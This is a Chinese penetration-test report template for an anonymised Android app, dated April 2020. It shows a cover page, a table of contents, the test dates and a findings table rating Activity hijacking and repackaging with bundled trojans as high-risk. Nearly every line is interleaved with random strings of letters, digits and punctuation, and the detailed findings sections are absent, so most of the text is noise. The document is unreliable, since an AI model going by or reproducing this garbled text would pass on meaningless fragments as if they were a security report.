4 {7 @2 J- G/ j! G
! {% u+ t$ }$ E7 w" L. r" S - N* L+ c$ O2 N! R
$ `5 D S9 r# {8 X* X6 l1 {, U
' f/ f$ W9 m/ I8 N5 D" V8 w9 \$ ?) z: ?& z, T
& L' }& S+ [& Z) Y, E0 \
( J- w* d0 Y. D0 I, C ( e6 n6 ~- S: `4 K. G
. R4 Z8 f s2 V 6 z) z6 B0 ~( B: o: r, F" @
6 t: ^5 c& C! U/ n, Z# k, x
文档编号:
$ W: g1 j8 a2 N- _* o9 Q( o& ^4 j2 \) ]
! q: E* a+ @ ~1 K
! V# F$ a" I% {3 Y
' Z) {# |) v7 B8 r; }& K; }
" M4 r: P- f4 E$ s! d v+ w6 p+ _" m/ A
0 m. o: @- s& Q/ h: e9 M
5 n2 t. f; u& K! g# k5 p
; y; O% p! J. ^6 _/ y0 M
9 O S% F2 }" \* s/ {9 w
$ a7 J+ ~2 G( q4 V% x- _" Y* l
: B- q% M5 v( r# n
5 k6 E. t; m5 w! p$ B- g: m- C6 v/ Z. ]; D8 k) ^$ v2 ^
" Q: J4 x; l. Z! d+ Q
7 F; N& [1 q8 W, }- o ) R$ k4 @- @/ P
6 L! N) g+ D% o7 l* ]3 _ 6 Z2 D# T, Z( b4 {+ @! S8 f2 v
- ^7 \) V# D% X8 ~
( v. Z5 g" ?( A7 `5 y& O% I9 o8 e, F+ [2 D- v, ^3 ]# l) K- j
+ l+ e; y) I7 u4 s& y1 u+ f# Y K3 _1 N2 K# l# |
: ]! u" m1 u# Y; d6 L
/ l+ ~0 E0 |6 C: ^
8 X" ?- U/ f* I
7 I x" x8 q, f% e # ?9 [ r$ w7 D( T* W5 z2 i
, X0 }4 I* F2 i. Q! Q+ X( E8 ~ $ A1 M. ]4 u: P5 s. b
- O& \7 U/ [( X0 k: I j# r
! { ~8 i6 O8 D% W5 u8 g* J* U! E
! N$ D9 W5 r' C9 n' S
* \9 K/ E. w& T1 K7 }
1 A+ E! R9 j$ \9 M/ K2 ]7 J2 \( X 某某某APP渗透测试 + v) Q" c) _+ M- w8 d
+ b2 }0 e& K$ Q' V
; a; T$ U; e* l$ S9 ~5 |# o6 [
: `6 m2 P2 |5 z8 D * \5 A7 Z7 L* g# Z8 }
. P6 u0 x( v- l% a o
7 j: P- S6 [4 X; r$ G! P6 h( W* d; k' r& u6 o; R: c9 W
# O/ t" V7 C# {" U3 D4 k
; T, ^% X5 g7 @1 S* Z, S c / W+ ]& n! F' i ~. `+ `
' t7 M6 A0 m- T ' s! i; r# Z& W, c' f
7 A" ^( [. d2 Q {
, I- Z% d6 o6 Z4 w3 v0 K+ N; p$ r1 K) v2 \6 j' Y, s5 ]6 p
( F _. ?1 t0 z: x, N/ E4 X1 J5 \0 p" o$ B
1 l* a; h1 M% I1 z- U
2 ^7 t3 [2 g) e
. i0 t" l0 i( f# a* o7 G7 ~
5 ^. ^5 I; T* Q * b1 ~4 P0 x0 f+ j, h
2 A/ V: }5 w& `$ }" R [
3 M9 l: Z% D& |! L3 L0 m
( P0 Q4 {4 G- N
; z& l7 l( Z) V7 M- R( j1 A
! |7 E3 | M4 D4 H: e! Q: D4 y8 i
8 c% g" W% r* Z& t, Y) Y2 G4 ~/ ` x5 a7 y* w* ]8 K0 x* m2 ?
技 术 报 告 ) |! }4 D# ~7 I2 \' ^
0 M# o; }, W3 L+ q, N
" O+ U( z* \* o/ _$ k- {
* @9 R) F% B. H% m" e5 T r% D6 u y4 s) q# a k* A# d
% ^0 b/ P+ p1 W1 v ?
% d: J. k' L0 S: _7 |4 F/ L
6 n! V- ~2 I, {% M% Y; d5 {, B
: {2 C( \. D6 W. N! t, R) B6 ]
" h7 `6 W* J% y ( e" l9 P4 Z, \2 h" x& [
8 c; R% g. A0 p" G6 n7 b+ M4 L" ]( H
% i1 H4 ?& k5 q- A6 s' D
+ \6 C; E. n* @6 T: X- ]. G2 b% L
; x1 Y$ }; t2 g9 K: Q* m
$ B: b3 [. t7 i3 H. h2 O7 @
5 _9 q4 O7 M4 K7 D4 a) V# J; n2 W; v: k3 |3 l `. B/ O- Q: n
# o! i1 Z0 T |1 B
) [! [0 } r: o3 o
& u2 i2 |% m; j/ [' @: D
3 q; m4 L) B$ e/ y: o
4 b2 @) |7 E! w! l" m" @
: d. ^0 @* y: v0 @0 } # n" J$ Y8 C8 B0 w
5 h9 ~6 g& y$ u, b; S6 W
- `+ |. H$ {, J" @
8 X* \/ y3 J) |
# V9 l3 u$ I" J# e8 s
% N6 H6 G! {, O% `$ h+ {2 U# I# u ( {# b4 Q: Y. a6 e; s9 C
! W+ ]3 J1 V/ L7 t- `* F/ E
% O( e* [( j ^9 ~$ H
, a3 ~& F5 B" ?- E
9 U$ d* F+ r+ y- c! ^4 Y) z# F! P: ~1 X. l K0 R- H' z. Z# F
5 f1 E* m& {! N' o6 o4 b
5 P2 r& M/ d. X+ @' t+ \: [
/ L2 G, Q8 q. n& K q; U
1 S3 [* g2 Y6 y5 ~
: x" I0 g4 i( l8 U; h/ J6 N
4 I. p$ ~- r" k- l- f) D
2 a( U& ?9 P7 p5 U* n$ r* L0 z
; b( \+ `' y5 k" a9 A
6 ?$ N O5 |& T" k w
) @9 P$ P7 C& b6 c7 o# Y. s
( B9 i% l* f( A* u% J' m4 N
/ y0 F) a$ g6 I$ V
" Y; C6 h: }$ z$ f
8 r; G, j ~" j' e t; A) c
/ R# I: R2 f {) p
! T5 A4 B$ e) P" n7 {1 D
7 Y i% d; x3 r* N' h" P% Q7 z0 \! J2 m
, `8 P& K# P! E' F( w
0 i+ b3 S9 F6 ]. d1 c. G$ D, {
9 E* n: O6 h t7 g' c8 w5 _, u0 O
- K6 s0 {& |5 s0 k& I% Y8 D6 k2 l+ D 4 ?! C# o3 ^) Y1 F$ E( V' O; v/ E/ h
A! [3 @' a6 I, e6 w
R7 R% F0 R& d# Z. i" r- a
+ c4 o( }" m# @, e% D0 e) O, o
$ J# A4 h2 ~ G: s7 h' j
2 S& {: ^- o* ]3 p( U, r: a
( s7 p5 N! {; Q9 G4 r9 N5 F L8 C" X: B4 t
+ u0 Y& L: F D2 _6 {4 O- v& z0 n
( X0 w `* T# c( G/ @
" S4 ~* K5 p- r w5 r
# b! |$ s: @) I# V; [9 S* M. m 1 ]: p, f- z6 e
; ]. V* S8 m2 O( ? 1 [+ ]' ^1 C! N7 n& U+ b- h
" G+ D% V4 N8 | m! s/ t$ @
3 d( v. c1 Y# I: p, ? L9 ~9 Z8 E( o( u+ q
* r) o7 M/ E. s8 O6 J* n# }7 |1 i9 T k4 o/ C4 ?0 T% u+ ~
; {# Y- ]" E C; ], t A5 K# x
; Y: S3 D! j; A& y% s9 s+ N
4 I, ^7 q2 k, V' g
/ x' a( p3 |* ?6 ?' S
' `9 ~5 m0 ], l( L# }2 G% A
% [7 w# R2 Z Q' \6 P 9 n* u! j, t2 o3 [9 |& x$ l
* Y% n. H5 T7 L$ J- `; I" U
1 {- B+ g: F& W' X0 y# Z' c* g E
2 L- q9 R) X3 |
) _( P6 q& K" @# v' a- v' k- a3 I& ^
$ z& @$ g- |1 L# J; V2 O" p1 n
4 O* b$ U' K7 x3 h6 p
9 C4 s9 ]) J; F7 G+ l6 ^- [
, a7 e$ m+ |0 c. S0 x" K
' U7 T4 n0 `2 p q/ g# W4 t1 Q* u& h; G4 G- s: o% U0 m
9 y- ]1 F X/ `& S5 S, B
8 V1 Q+ f0 ~' t/ ?( G5 U) i2 J, }0 U
8 P9 h0 F# f, q5 K! g) I; _
! t q G" P y5 l! I0 f
0 i* ^6 x' m* i: z8 e: b0 `# z8 c7 D
$ Y1 S- X; Z, K. c* c& C7 ^/ S: I7 D
3 o8 B6 g% s" R7 o& x7 `# g* i
, H' V3 T( V9 F, k6 O& l
' d( N2 W# R3 ~) a# [
% |" I9 P4 L; L, l
4 j$ A* D$ l# i* [9 P
: I) L2 X# C2 P+ w; f
+ N9 D! r4 y7 H1 y' v' g5 T
8 a$ @3 B- t( |3 R. @
1 W1 _* r0 f6 [( l, U) e+ |% y i
- s7 q# f, E) R$ T% e5 h# G7 a+ W7 \8 q
- v, x" Y0 G6 X$ p0 Z9 L! j6 | y8 [# `! d
二〇二〇年
- A) J2 L; A1 k. w7 @& H3 Y' I$ {7 c9 k
4 e0 b( r2 N! U1 X* I) o( B
/ j7 s% ?! g. c% y, J1 T0 _
% D! V6 ]1 Q% ?1 b6 |' f& c
. j0 C# p. _/ h. Q- E" Q# E
7 ~: ?; u; I* h& u o4 z
6 R! K8 Z2 X8 \( ]7 `. k9 s) c2 _ 6 d7 j8 k4 n: w
# b7 Z8 L7 v: O& o5 R, a
+ E0 f) H; w5 L- V6 C: @
" p0 q4 b$ C: e
: b, S% O8 O7 ~. @- { {( }5 R
$ N, `0 ]+ E# g( t6 S6 Y, @1 t
+ }7 D6 h. h! B* i5 M3 a4 @, e& H3 a
8 t/ y/ y- v8 D . `" ^( c. M, e
1 J( [9 F. K$ B2 S" v7 O
+ F) h7 ^- c0 j7 x
* e2 A# N$ H7 M. N' L" @* a! j
" F1 N6 V) c4 t' v; H+ W8 j) X% ~3 Z- t& U9 g* a/ g8 E
目 录
6 V8 G6 Y7 h% E n+ V# K! M: v
' L8 Y* e# s: m i
- ^/ D$ y+ t2 g. \& }
7 G+ g1 V* ^: Y7 x. S
6 `% x) j! p# `$ Z
. |& P5 u6 h5 L
) A0 g4 J( N+ r2 G) f+ z' X4 Y
u+ g8 G2 J7 J+ ^
$ B+ L/ h5 U! n6 L! X( ?" t, |3 \3 H( V
# @7 m1 v4 i5 J. Z+ {1 `- k9 q. t
4 i( a7 B2 h2 _9 u$ I - Y0 Y: C1 x+ I6 f' b, Q) }
% w/ k' e: a9 C 1 概述... 3 ' n7 H! q+ a- ?- \% P; M5 P
4 K5 T4 m3 J( z4 ]( O
7 V3 x8 q1 i8 R' s& ~( @! h, H6 F$ K2 T
1 E) G9 B) g6 D' L, V: @7 L9 q
* _/ S( M% G' b. Q f 1.2测试时间... 3
: C, `' R& V& @* `' r7 n. I8 E7 y; p3 a% p% {, D( G
6 E, c* `) N0 C. C Z
/ U. ]) ~$ @! N/ s' H2 ?" x9 b
* l4 f3 A$ V7 z0 r, v8 U- U$ s5 @0 ?3 q: B; ~! D9 N/ L' I9 ]' Z
1.3测试对象... 3
8 q# w; [0 ?* Z7 g
4 L) @# _0 `) s! y k; L# c
" D# z% E Y8 @$ F/ P/ V3 v2 N5 l+ f- e' p* [
0 H; e5 I) N8 o* W- D
) Q7 j/ n5 U2 D. a9 M0 z
1.4测试结果... 3
9 p; Z+ ^7 {, R% d3 {
$ X# z# l7 x* L( g( l1 l+ F; @
1 R' l' P& @4 c/ [) }% \; R% A* i
6 f) ~% Q, V. L. Y& Q/ X
; n6 ?% Z( p( v4 @5 y
3 I0 ^% J' A% u 2 检测结果... 4 " K6 J' l! Z- ]$ Q
$ \" Y* J! ~3 ^+ W: l
3 y1 l; p" ^8 l1 k3 u/ b
8 K1 O) ~7 c0 L2 ]% s
+ l( a1 C! d' I6 ^' F& H% ^
$ S- t7 h# u) `4 K( } m7 b 2.1 某某某... 4 . m- G* t( G, S0 C% k/ {
. e z1 v, y% p& k, ?. [& r
4 E, \8 M9 Y3 e* Q
! @$ `- l; @6 P, T q( |+ G! K $ Z& A& r! T9 ?8 E/ p* |
2 m8 h- J6 w- E) w3 G 2.1.1检测目标... 4
+ {* E4 ?" [- O8 e' S# n! h w- \* `6 S7 X2 h8 G$ `
/ ^" J! S2 C% p3 }
7 U1 X# J+ }& |5 `1 `3 h1 y2 l
! [ G) G1 T6 `
; ~/ b: R, U% i) b, z 2.1.2检测结果... 4 4 ^+ l1 }! t" O/ t2 @
( B( U4 q* H9 ^5 b3 ^7 {
! T1 u W5 |3 h- C6 Q, s$ \
1 \% P- Q" v: t, v; f
/ d0 }9 X; B& p+ h m8 q: J D3 U* g/ d
; L, z% V7 K, O( {# _% N 2.1.2.1. 4
' I4 B5 p( P/ Q* |; A& A, z7 X/ H1 I6 z% H/ {' M; j/ I6 t
+ h- G4 H9 o2 E; q+ D. j V& i3 T$ O% e3 U- I* G6 ]
6 g( }5 A6 g" p( |, U: h) c
# R- ~- s3 b5 D8 _/ ?1 }% t' L. q5 n 2.1.2.2. 6 ! _2 {) J: p7 o! X2 P2 }9 e
( z1 F' p/ m% E& P4 i* g
9 X5 r) G9 U( ]. _% h
( F, \" Q2 @( D
! K% B* d) j* L# `7 z4 D6 m) H1 y" `" T* P
* I4 P9 z0 [8 C
/ J$ M$ R: m% y A* C
. S5 y' r, S- ^; f8 c. E; w
/ s, d7 p+ y1 R. V# k' |( b7 b! T$ a
4 T# C3 D+ G/ i: s$ E2 J! m9 j0 w3 P* z# S" Y& T% x3 B7 U# f6 I8 M; W# Y
6 h$ b7 I5 R5 h# k& h; f
; x( S1 x5 A& r/ a- U6 ^; V6 b$ ?
0 O$ B; Y7 Z! W' I! x f
5 `5 [2 ~' F3 Q+ k% l) T+ I/ U % \" O8 W; ^0 b1 |1 s8 y
9 _6 _9 ~9 R- `! c x( b. I+ [ 8 w4 Y7 F3 H& I, A
. _/ i! A; h4 q% W& J- l
1 概述
/ U5 v% Q7 h) q8 R3 x* I- ^
3 K+ J, H: o! T
+ i/ }1 C. c7 i: n0 x Z: c" A
. }) t2 ^5 e& \ A- r4 T
( C: _( `/ O8 O4 `) \ _- T! M7 d6 O+ s; [
1.2测试时间 4 G L# E) p+ M% o6 D
2 Z/ v' L4 {+ Q
7 Z' W8 u0 ^! v" V
! V& f. A( ~" j4 C& ^5 X, i
& Q5 O" |6 J, D0 t7 W1 {* \' o. n3 ~( u2 Q
0 }! ^. X; Z/ F' |. P0 J1 s8 |
$ [: d: N) @6 p. c% E* R4 g
5 D; {6 \$ g; d t/ X8 D6 C, A
7 m: A' \& q& p+ H7 v3 E' n$ L* v% e9 ^ | ! o& N' ^! E6 i# p; R
0 D2 u+ ]2 |3 C; a- K- n6 @9 ? ' y! X. G' b% s' D% b) V
# y4 y0 w! _! I# _' [( ]
渗透测试时间 5 Y% R0 G& y: q0 t1 C) g1 t: {
+ a. j3 c! e7 d+ r' H- q
2 }6 E( `' `0 G% c! c6 s/ T* ^
% d3 u+ l& g& S$ z |& g+ C* ? | / t3 c/ ?$ }* O$ x/ G
. O- k* f& g1 c; [
$ c2 Q' ^ w1 z2 l% D- e- f+ D! E; s1 N2 U# ]5 I
3 O! f$ O# x. I
/ d! T& o+ u: ^% r0 u' S0 @
| ) q& {3 m5 N$ t2 t0 a2 S& |" t
$ l6 R& n9 I' M+ T: v( e
+ A: w- X; R% [% K3 o4 _
5 {* a& z: z6 F/ Y1 S 起始时间
4 z6 K2 U2 V1 i7 I v s; t+ O* j& m7 O8 V4 d
0 p; ]+ a/ X' F" j' D
- [) b7 B; s7 Y# ~. d* H2 B | ; n$ v; z" ^$ e
& \% ]* L/ z8 b+ s 9 Q9 e* `4 Q# |' E; z
: k" h4 L0 d7 h6 W! p
9 w$ V& z1 P2 V
7 y3 p1 b2 n E 2020年4月6日
- r0 {4 c# p- X" V6 ?7 J: n" x* n' v: T9 v( z' P
1 n" C. W3 `3 C3 u. _8 F x
7 b1 u& N; b6 h K7 p" O
| 3 a3 e' ~$ T G
w2 ]* v4 X2 m/ B
5 C! I4 `: O7 Y+ W! J
s7 ]; _& w* X& ?$ {8 B! Y
, Q$ i+ |" `: X
: x0 X0 @2 L$ S( p6 v+ K; ] |
: e8 }1 ^- n0 A1 f& e- `" ]: Z+ Q5 M3 ?. k6 P" |% a
1 _: Y% @" l i- r+ m
% W4 @/ O/ Z2 K/ [2 A x- K
结束时间 5 h" m' f2 [. _/ E
1 O( ~! _% v9 `6 e) g5 X
6 o% m7 y% m* w/ W0 a) u! v7 E! ~% v9 s( ?+ J! q& G+ Z
|
% K* l8 ^/ i4 C* X( d
; e5 _" R" ?. q' r) {& i 6 b) {/ N1 ^6 U3 x7 F* \
! w/ Z3 G5 u5 q4 ?5 y1 L
0 E. B) p# y0 ` F" P, N# s& b7 s8 ^6 Z8 f: a9 G: T
2020年4月9日
6 d0 D' p4 o ?6 S7 y
& x! O9 ?9 u4 k" i; y: P7 h7 c$ Y: X% T+ H
3 m& g1 b( f J* K& e
! j5 o9 Q# R% N/ }+ q2 `, T0 N |
d; E9 b* V1 G6 H9 q/ N, x
' X/ m5 Q9 o( y: g
& q! ], N6 T$ g% W( @# h! M
7 L- r8 z6 x' ]5 d% _; G% m0 b
; j/ x, w, Q: e9 x! [' M2 `+ m k6 h0 r3 `
/ J8 Z4 w2 S$ y! j7 v
9 S R i2 ~' w6 f
6 N' o+ ^. w0 S* |7 X: D
/ H& T) v/ J' S& Z
( S* \& s2 K4 j* \3 A 1.3测试对象 " s7 ~0 }8 O {3 c& u* p
* q2 q, ?! r% N
1 r. p% b( O$ G8 P p9 E5 Z
( ?6 B* p+ L$ g7 @5 f( e* w
. ~! t/ b/ G& g4 k/ C
, t# D; q1 G# c3 Z: P/ f* O1 d6 Q 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: ' s: B9 V) f6 S: O, f g+ `
: M, M* `2 T. M% t1 l* @
4 h# A7 q- N+ k; j1 C+ x* {, m
* V4 ]7 I/ f4 o $ L' G R9 u, Z P" w. A
n5 \6 u* b: @' [1 M k 表1-1 检测对象
5 X! y" v; l! O4 o$ G
# z/ W8 n- f* `9 o! h# g1 e
/ }# U% B5 M; |; i/ j" e
K1 J$ w1 |6 f6 c
1 [' F3 U. p8 @8 B5 P+ u3 ~! x
( r$ v1 n% T; ?& C6 Q& }9 i4 `
& R+ x& k9 _) X* ` x2 Z* o# I5 c6 B# S) W" p
7 ~: V& f' o' E+ O# r! U6 t/ |/ V* I; L( x9 k, y8 Z8 U: M! D8 A
|
' |- T: {- b- H9 f2 Q& {- h- b# x0 l# ?1 E& \
. X2 m" G/ V0 K. O+ x
# u7 w& a9 G& O- n5 l 序号 , ?2 d/ J$ _* `: O2 G1 l# O, J5 h$ `( V
8 F' P% Y! x' n# k# y& n, Y, F
6 m! J* N+ v$ k9 w
4 p( _" v B- o5 k
| 3 e6 q/ s ]* Y3 ~6 ^) E
& G- s* D) @' h8 }
0 U6 V; c) y# _# i
2 W O w) i5 p1 F/ j- ^ ' V; o8 S" H( E. E8 B5 D
9 [( Q, G/ U8 G D) w 测试对象 7 c5 g6 a) _+ O7 j$ {
: C3 r! b; T4 B; ` i# y4 I
8 P8 W( ~/ @" X8 A+ l9 S8 K* c0 _
1 f; S7 S! z# E V2 O3 a& z% N" M | 6 x4 J! B. |! R' C/ y. L9 h
0 D2 X; [7 T* R3 b
/ a: t4 c# g' j5 @+ u+ ?+ g& g5 @1 M3 {* `) Y7 k
6 I N/ p! |1 \8 _
+ L9 s: f& K8 Z3 q; G 测试地址
4 I& e5 i- B/ v" ~! @- [
# ~) F6 b! e8 `3 I. V
4 W2 }" P7 c7 N: U1 \- {# L0 q2 s: {
| . v5 w- Q/ m9 c" X, t
P0 k3 E: U( ~' Q $ ]" O' {! k ` V
8 Z: ]4 g8 {) [7 [( p) p
2 Q1 p" G( l, w
! j5 r- m: [, g" U2 A5 g
安全漏洞
9 A1 t9 S3 b% A( d, b
3 R5 J4 |5 H% h7 A # i' K' K3 Z. d: @8 O8 T+ ], P% ?, F- |
1 p( L9 ^$ c ~+ z* d
|
+ y+ `8 a8 i* O3 I! o$ _) c3 W5 H6 G% g9 a! R
9 v5 g# n- [! N3 Z9 ^0 V
4 h [ L8 p: o
# a% @+ o. }, j3 E
5 A9 t7 T" [$ S% K, O ^ U
|
9 j: h' W/ A. b9 m( N, ]
, M% g" s! [' ~+ ? 7 c* d8 `* `4 ~6 L8 L8 z
8 m. t9 _5 t3 R& j
1 ' v5 S; F( E3 [% l7 A( O( u. }. R
/ g. O& O) C& ^9 s! \% A- k
; S5 z/ f$ N; o, V
" U t+ k6 D0 p( @ |
+ y/ v. l- h/ {/ x7 p( n$ X2 r
3 o9 d# v. }& p8 L1 W% N+ @% S( i
3 X; m- l+ w# P6 K
9 S: K& q! C( n 3 D2 i/ Z* j; X" O) V- n
' d1 ~) x+ O1 p$ x% s
某某某安卓APP - a7 e# m8 o5 l5 ^6 f3 x
% c& L& F( f, Y' ]+ m3 d
0 h( }5 y% S+ ?! c+ }) m |1 W, N! N; P9 [$ g5 Q, D/ @( E y
|
) i8 @! F @$ C
7 X. l: d- R0 f- ] 5 m6 i* ]3 M( I7 g7 |
' A( A: z" m4 Y9 O, O
5 p( _) w# ?- y M+ k
5 m' D: J0 S+ n4 Y3 E. [' p2 [3 q1 j + r R+ M( X/ ^6 r6 d1 ]
$ y) L; C9 v" Y8 E
' T+ Z3 L2 C$ L" V9 P& n, f
! q- A* T' v, o# w9 S6 f4 k( a X" i3 l | ; u7 H+ H0 m+ S4 H1 D4 U- F/ v
2 o0 ^% O8 `5 e
3 O' m' T2 H4 \# C& T
( m( f1 x V- g+ N) ~ 2 i2 [$ O' N- y2 d1 g7 s
! J% I7 v& |& ^ y" B8 T5 f3 v) p8 W 2 ) z7 b+ c- |% ]) L d ~0 O6 `9 o
u7 N( e$ b" i7 s5 A" u1 K
& Z' v9 e/ Y- ?- e( M, S
# l7 q& Z [' r |
9 w$ O' ~; b7 v& f, ^$ _% v- A# f. o2 c: [+ A
: ?6 [, i% n( Y8 q% B4 Q
5 R6 I/ O! E5 Z* Q# T 3 J3 r; J' X7 E, K: I
0 n$ W" g. t% ]4 \. |0 A1 I
1 A( k% v9 r! A
# j8 ]5 H7 t* |: v I& }- q
8 X F' M2 h; P$ R$ }; m- h! t4 M$ {& A0 m# i* h8 T7 ^
1.4测试结果
A; K2 U$ n" h# M$ ~5 D
, m# M+ l1 s7 Z5 [( @+ f
) Y5 {7 Q+ X+ O/ }: Y8 j
; P4 r! S T& {% \* M6 ?) b ' R" o8 f: e* k/ S' ]$ a
/ B5 C( K. `8 O; C
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: / m9 S4 I# V _& L) u# O* F& k5 ?& O
- u' y+ o% l, l# G
% h; H5 B7 O2 }( }# H, u
% e, K& @) X2 ^* { j
0 L! p% ?) f1 B: G" M5 [: K9 C; O; x+ P& l; y5 b1 ]
5 |' q9 d, w) m7 t% ]
4 v+ s: a+ _) H- \
& [4 G1 C- \6 Q$ B% X+ j7 u% Z
( E' v( c: c; P2 K( e4 e7 i
; x1 k! m3 @$ w! v* O& C
1 a* w' t: W/ W
0 w/ U% w7 L) O x
2 U. o3 v9 c. X1 F, t$ D9 _4 O
7 C. L5 x4 e: E) C
/ v5 o) M1 V; J2 q2 s% I$ C- n
j% f2 \8 h& u3 J/ N2 _2 v7 j" T4 x7 U: S! E+ M8 Y! d f! p0 k4 Y
| - h6 n/ b2 i& X
3 J ]" F# B5 S/ G; d0 _
& Y9 e2 ?' u" e7 a/ J5 M
/ b4 g# L2 |, M( g0 V% }* h 序号 7 t3 ^2 }% u3 t
* T6 y ~& t, @( k5 m" ^6 v " D, ^4 k; _+ S' T, j' q+ A' ^6 A w
/ E1 W+ v9 ^! v" I/ b
| + m% G5 t! P5 V8 J+ s7 L3 o
: } F- i1 ~/ k/ e8 I* P
8 u- I5 o: k" }3 o' a
1 M5 W. U5 _0 g* B- P2 }
* `8 u& Q5 n. h6 q$ ~8 Q) u- ]' |" \( `0 t3 j
系统名称 ( t$ n, m9 A. j! f
' S$ F( r( |$ O& L; C( F( v, |5 }. X
* D& K k( ]6 L( O- C
3 ~: n4 t& E; m5 H* B a k
|
( o* @4 |; d& {' S: ^2 @$ I
) o: K# N8 I+ v6 N# O# Y 0 C8 c: C9 _( [- D6 E
; s# X' C% O* r+ ~
. n6 q) ~+ i6 b9 ? B5 S0 R0 i: ~- P6 q% W" c4 c5 ^
漏洞名称
* B# {: Z0 r& o7 ]: {
* O- K( Q4 K: _; ~0 h) j1 ]
: v; R! {+ ~8 K8 d8 P
4 }. G4 w/ |' {1 Z1 h% Z3 e |
$ Z3 @+ `, q8 u2 W0 B3 R, O5 |6 m2 @7 ~
1 j- r$ a" l' e$ @) Q9 L6 ]' x
* z' v/ {3 l& i3 @% ^2 U
- @# X: Q" K5 x( v _( ?5 n; G; W- a+ L
漏洞危害 % D! |, q" F8 L. d( W
, S: C) I/ d3 `9 n
9 a% N, M: z0 q8 A
6 c' w/ L) t" ?0 a; S6 M |
3 H: X- ^* k1 w% S; V. v
. C# y" |. C0 O
/ L+ r/ d c1 l( {! {; J. {4 [/ n/ I" {2 S" @- m+ O
# i. B0 ]7 O0 p" n
) `7 R- ?. z9 |; Q
修复结果
8 D5 X: P( B' N; H
! U4 e6 T" q) T+ S3 Q5 k
0 l2 G- M! z, O E5 O3 i$ ~% m+ Q R. v5 K) i! ~* B7 b* V# C
|
* t* F$ Y C, f9 o
6 c" K! m+ _' `
- d+ {" M0 N/ t" S7 {8 R6 R: N
1 x: X3 v5 V; H: `+ ] 2 K( k/ j2 C) q. m
% }5 [) J# a! b9 D0 c | ! J/ h$ I$ S& @& c$ i7 R" v5 R
s5 H" v' A% V
+ M' w7 J2 X. o/ Q- y# A/ h0 q3 z
1
1 q! j9 d4 I6 V* f) L" G% `9 o7 Q+ _
! L+ m z0 ^/ b' v |8 d
- A: M5 J' d& B3 C# A1 n( p! B/ _ |
: }8 R- ~7 X! }3 n8 q
3 {5 f: ?! l0 ] E. P ^6 x! [0 [7 m: R9 v
" c+ {; K4 h( E' Q7 d
2 i4 P$ V. w: J" {) A; C
/ `; @3 [$ D7 ?' M$ I 某某某某某某APP
- S, e7 u5 M# j5 b% B4 \- F" A
6 S* V# j, y- y) V0 G5 G* x : n" |7 `1 O- \) r
+ N$ z7 n9 |+ R+ D, w1 Z | 6 H: s/ a) ^% Y8 o; a
% c5 Y& M' I* [" Q# I# Z# U3 K4 s
* c2 D! T$ z7 ]4 [7 k; z. }6 U! O" f0 c( a5 w
) ^6 ^& i0 A# c p( f |9 A
; ?4 m; Q. C$ f) [9 W5 W
Activity 劫持 / \6 k* M, A; V: h- D
9 r) L7 R& _' J7 H
$ p) I- i( B* }9 J4 [0 W+ O l
5 r& z4 [+ t) v* G! S
6 ], y# ~! {- c9 r$ U
8 V5 }7 |7 t# s( m9 _; Y0 K
! x, h6 C8 w5 n% W/ e5 u" k7 X4 X
* Q/ o! j$ g9 g% ~4 I, y8 d0 w% r9 l . u3 V7 `/ R" _3 n
7 i/ |( J; k: h! j |
0 m+ x2 y$ ]; a! Z
" `7 u8 X& `' P8 @2 Q
: E6 w) ~& d1 _6 N$ Y% p* B1 H
6 B: J" g' c5 \/ { 0 k% `$ T0 m- z7 l; M
R; Q1 ~$ H% l 高 D, h# w3 k1 |
" k( V7 T9 o0 {) |* C4 h+ z
/ |: I d& k7 k; }. S% p1 y: I3 `: z# l9 x( \2 K! G$ z: {
| / _+ c7 L6 z' ^) {3 d! G! Z
2 h$ m- E/ Z3 i8 Y: h" V + @9 E- t7 e) ~0 I+ B
) }1 z8 U( v( e
0 B4 F) R! S/ e) @: Y! e
' u/ P* W8 P/ n$ ~. X" C2 B0 A3 H
7 V( I+ ~! b2 E% r3 n* V9 J3 l2 ]9 g* a5 r$ L
* P1 b6 K) S8 p' F
3 c; R! E6 e* G3 Q | ( a2 u4 S. C Y. I3 b! _# I- ]
1 _, Z+ a/ M; K/ U& s. X
: b4 }, I. ]7 w" O8 Q
/ N1 O# o5 m* E0 P( V
|& r) T/ q3 u0 ^# y% T: D
% ?4 D: _5 [. E& c0 q/ s | ( s2 @+ z" [7 q
+ L2 a( J& R. d# ]# f
7 F4 ?, u2 f+ F. l3 I+ n7 _
. B; o8 @5 N+ i1 I7 i- Z/ I 2
7 J& O) \0 @. u$ I/ b+ t8 |7 g2 E6 B* H7 `% b. `
8 g3 K& d2 [+ ^% Y% G+ z+ {5 k! r5 t3 B: s. x+ F: j
|
3 s* x7 s8 o& B. G6 [2 ~ e; n/ m6 N+ H" T
6 q$ B8 p5 P. j0 f T. f
/ y2 w, A! }4 e1 ?$ o 3 C9 \$ e2 A' V' h
8 F- I7 ]4 H& q+ h1 X5 Y 某某某某某某APP 8 I# E$ J B& {" v" J
6 ]; K( i+ h$ ]1 `
/ d* j* W( c+ {+ w/ B$ j: J$ Q! u4 G/ e' W8 w1 y
|
* n7 W1 N; v" Y; q
, s: U8 G0 o2 Y$ Q2 l
6 Z5 x8 q1 _4 A/ e, X, P3 f# N8 D" X4 x7 d! \
3 j( L+ L- o- w5 Z; r' _: J C) D$ N3 {+ l
反编译二次打包捆绑木马、篡改APP代码 7 r) a- p; c( E" Q
; H6 P! {% V) O
" L+ x; G, Z5 p% U
3 K9 r0 X0 c- V; s |
( a& ?: x3 J5 {2 e6 B% g7 ~, i- h
+ M3 R" r U3 G0 s; i7 `
9 \5 n5 u- w, R 8 U% s9 t- T( B! u4 k
. C% \6 Y- f+ Z! ]) X M8 A- `
高
& t; y6 K1 i! V8 J. `6 k3 U9 N' T1 P0 d1 G& S
5 R7 |8 ~8 K0 i) N, d
" r7 N& @; W& j |
" x1 u% |7 [6 x/ e7 H. N& X: W6 A( M( W5 o$ ]% v! l# o* ^5 m- V
3 G- }. A+ a. ^8 @; A5 E
# {% k# W9 f4 X4 D9 f ( f! W& U# Q* G: k5 y. c
& B) x# V- F) G" H; `" V
5 {! o' F2 h, S0 K' ]' `; Y7 l
# i0 Q( H% P: h" s
6 S/ X" O" E& T1 n+ N: E
]) v m* e7 g C; t" V! U' W | 9 n! `* n9 y- ?6 D* u
- ^& |( i$ @3 H; V
5 i/ w; j. i7 E; g: a3 |2 W6 j
c: q* U" ?4 E' H2 R3 ` l
+ _2 W) u, ]( y8 u( Q1 ]4 \/ X3 N% C9 H1 t, C. X3 ]
